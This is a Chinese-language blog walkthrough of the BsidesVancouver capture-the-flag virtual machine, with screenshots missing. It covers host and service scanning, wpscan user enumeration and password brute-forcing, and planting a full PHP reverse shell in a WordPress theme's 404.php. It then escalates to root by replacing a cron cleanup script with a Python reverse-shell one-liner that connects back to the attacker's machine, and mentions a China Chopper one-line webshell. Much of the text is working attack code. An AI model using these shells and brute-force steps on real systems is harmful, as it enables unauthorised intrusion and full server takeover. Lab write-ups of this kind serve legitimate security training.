BsidesVancouver渗透详细教程

  1. 准备
    首先我们需要安装kali(关于kali的安装自行百度,软件包和靶机包可以向我进行索取,实验视频也可以索取,发送方式均以邮件方式进行发送)
    靶机
    vmaware版本都差不多推荐比较兼容的12.x
  2. 信息收集
    (1)IP发现:首先我们需要对主机进行发现,当然我们需要配置网络,关于配置网络不懂得可以进行留言,不对此进行过多的赘述。
    我们需要借助到kali的工具进行主机发现(不限于一种方式,需要更多的方式自行探索,本次实验都以学习的方式进行放松)
    查看kali的IP地址:
    我们我们现在可以发现本机的地址,架设的靶机与我们处在同一个网络环境下,下面我们开始进行主机发现工具:nmap zenmap
    我们对网络中存活的主机进行扫描
    我们这个时候会发现有好几个IP地址,那么到底哪一个是我们的靶机地址呢,现在我们排除kali的主机地址,有一个234.1,234.2,234.254,这三个IP地址是明显的不是靶机地址,当然也可以每一个进行尝试,多失败不是坏事。
    (2)发现完IP地址后,我们需要发现主机的服务,使用zenmap(不限方式,熟悉的最好)
    命令:zenamp
    发现服务(ssh,ftp,HTTP)在这里插入图片描述

命令如图所示,不直接放,多敲没什么坏处,这个地方发现的信息全部解释时间太长,后续再写
(3)网页信息收集
我们扫描服务后,发现开放了80端口,我们直接访问
我们现在发现了这个网站
然后通过robots.txt发现主机上存活的网站在这里插入图片描述

这个时候我们会发现一些关键的信息
这个时候我们发现有一个博客正在开放(http://192.168.234.136/backup_wordpress/)

我们现在访问ftp服务,发现没有密码
我们打开这个文件会发现几个用户名
展示出文件当中的用户名
3. 开始渗透(也可以用使用burp爆破)

我们现在开始渗透测试(渗透之前在此建议一般情况下不建议疯狂爆破法)
利用wordpress攻击套件WPForce
因为地区原因无法连接外网所以不展示部分截图,直接得出结果
尝试用wpscan 扫描 wordpress的漏洞,发现wordpress的版本是4.5
(亦可手动通过查看readme.html文件查看wordpress的版本)
wpscan --url http://192.168.234.136/backup_wordpress/
wpscan 枚举 用户 发现 admin 和 john
wpscan --url http://192.168.234.136/backup_wordpress/ --enumerate u
wpscan 枚举 插件
wpscan --url http://192.168.234.136/backup_wordpress/ --enumerate ap
没有发现有可利用的漏洞
wpscan --url http://192.168.234.136/backup_wordpress/ --passwords top1000_passwords.txt -U john -t 10
发现john的密码enigma(发现密码这个步骤有多种方式,其实不建议用wordpress因为更新需要拥到外网,所以推荐抓包爆破)

  1. 利用后台getshell
    登录到目标网站
    john的密码enigma

appearance-editor 选择修改twentysixteen主题的404.php文件 (这个地方肯定有人会问为什么这样做,本文只在教程这个网页的破解,其余知识还需要自己去看,视频可以直接索取,比较详细,一律以邮件方式)
下一步我们用php反弹shell,kali监听,贴出php反弹shell代码(注意php文件中的ip需要修改为自己的kaliIP地址)
在这里插入图片描述

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.234.136';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}
	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}
// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}


	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);


	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}


	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}


	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);


function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

接下来我们用php反弹文件替换掉目标网站的404文件
注意修改ip和端口

开启监听(kali机)在这里插入图片描述
然后我们访问(不是一种方法,也可以访问不存在的页面弹出404页面)
http://192.168.234.136/backup_wordpress/wp-content/themes/twentysixteen/404.php
然后我们回到kali 看到监听已经反弹
在这里插入图片描述
然后查看
收到shell后 用python的pty 把shell 转换成交互式的
贴出代码

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述
到现在已经获取到shell
在这里插入图片描述
但是到现在我们的权限还不是最高的权限,所以我们现在开始提权
利用菜刀来连接,修改目标网站404文件
在这里插入图片描述
连接上菜刀
上传文件替换cleanup文件,写一个bash脚本(reverse)(注意ip修改)

#!/bin/bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.234.135",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

然后在菜刀虚拟终端中输入
cp /tmp/reverse /usr/local/bin/cleanup
同时在kali页面开启监听
在这里插入图片描述
这个时候我们就已经拥有了最高权限,我们就可以肆意妄为(贴上flag)
在这里插入图片描述

  1. 关于菜刀连接问题
    一句话木马贴到

    http://192.168.234.136/backup_wordpress/wp-content/themes/twentysixteen/404.php
    在这里插入图片描述
    好了,现在就结束了,晚安
原创文章 2 获赞 2 访问量 122

猜你喜欢

转载自blog.csdn.net/weixin_43070384/article/details/105925518